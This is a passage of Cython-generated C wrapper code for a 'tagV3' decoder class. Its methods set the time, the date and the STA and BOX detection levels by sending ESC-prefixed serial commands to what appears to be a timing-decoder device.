PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_cfg)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setTime", 1, 2, 2, 1); __PYX_ERR(0, 429, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setTime") < 0)) __PYX_ERR(0, 429, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_cfg = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setTime", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 429, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.setTime", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_20setTime(__pyx_self, __pyx_v_self, __pyx_v_cfg); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_20setTime(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("setTime", 0); /* "tagV3.py":433 * # started and config option "Running time to time of decoder" set * # command: ESC + 0x48 + [SETTIME] + 't' * self.sendCmd( self.cmd['Start']%( cfg ) ) # <<<<<<<<<<<<<< * # response: none * # */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_n_u_Start); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyNumber_Remainder(__pyx_t_4, __pyx_v_cfg); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":429 * # response: [STOP] (even if already stopped) * # * def setTime( self , cfg ): # <<<<<<<<<<<<<< * # Update decoder time of day - also sets running time if decoder * # started and config option "Running time to time of decoder" set */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.setTime", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":436 * # response: none * # * def setDate( self, cfg ): # <<<<<<<<<<<<<< * # Update decoder date * # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_23setDate(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_23setDate = {"setDate", (PyCFunction)__pyx_pw_5tagV3_7decoder_23setDate, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_23setDate(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_cfg = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setDate (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_cfg,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_cfg)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setDate", 1, 2, 2, 1); __PYX_ERR(0, 436, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setDate") < 0)) __PYX_ERR(0, 436, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_cfg = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setDate", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 436, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.setDate", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_22setDate(__pyx_self, __pyx_v_self, __pyx_v_cfg); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_22setDate(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg) { PyObject *__pyx_v_crc = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("setDate", 0); /* "tagV3.py":439 * # Update decoder date * # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' * crc = crc16( bytearray( cfg.encode() ) ) # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Set Date']%( cfg, crc ) ) * # response: none */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_crc16); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_cfg, __pyx_n_s_encode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_5) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 439, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(((PyObject *)(&PyByteArray_Type)), __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_crc = __pyx_t_1; __pyx_t_1 = 0; /* "tagV3.py":440 * # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' * crc = crc16( bytearray( cfg.encode() ) ) * self.sendCmd( self.cmd['Set Date']%( cfg, crc ) ) # <<<<<<<<<<<<<< * # response: none * # */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = PyObject_GetItem(__pyx_t_5, __pyx_kp_u_Set_Date); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyTuple_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_v_cfg); __Pyx_GIVEREF(__pyx_v_cfg); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_cfg); __Pyx_INCREF(__pyx_v_crc); __Pyx_GIVEREF(__pyx_v_crc); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_v_crc); __pyx_t_4 = PyNumber_Remainder(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 440, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":436 * # response: none * # * def setDate( self, cfg ): # <<<<<<<<<<<<<< * # Update decoder date * # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.setDate", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_crc); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":443 * # response: none * # * def setSTALevel( self, cfg ): # <<<<<<<<<<<<<< * # Set detection level on STA channel * # command: ESC + 0x1e + [SETLEVEL] */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_25setSTALevel(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_25setSTALevel = {"setSTALevel", (PyCFunction)__pyx_pw_5tagV3_7decoder_25setSTALevel, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_25setSTALevel(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_cfg = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setSTALevel (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_cfg,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_cfg)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setSTALevel", 1, 2, 2, 1); __PYX_ERR(0, 443, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setSTALevel") < 0)) __PYX_ERR(0, 443, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_cfg = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setSTALevel", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 443, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.setSTALevel", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_24setSTALevel(__pyx_self, __pyx_v_self, __pyx_v_cfg); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_24setSTALevel(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("setSTALevel", 0); /* "tagV3.py":446 * # Set detection level on STA channel * # command: ESC + 0x1e + [SETLEVEL] * self.sendCmd( self.cmd['Set STA Level']%(cfg) ) # <<<<<<<<<<<<<< * # response: none * # */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_kp_u_Set_STA_Level); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyNumber_Remainder(__pyx_t_4, __pyx_v_cfg); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":443 * # response: none * # * def setSTALevel( self, cfg ): # <<<<<<<<<<<<<< * # Set detection level on STA channel * # command: ESC + 0x1e + [SETLEVEL] */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.setSTALevel", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":449 * # response: none * # * def setBOXLevel( self, cfg ): # <<<<<<<<<<<<<< * # Set Detection level on BOX channel * # command: ESC + 0x1f + [SETLEVEL] */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_27setBOXLevel(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_27setBOXLevel = {"setBOXLevel", (PyCFunction)__pyx_pw_5tagV3_7decoder_27setBOXLevel, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_27setBOXLevel(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_cfg = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setBOXLevel (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_cfg,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 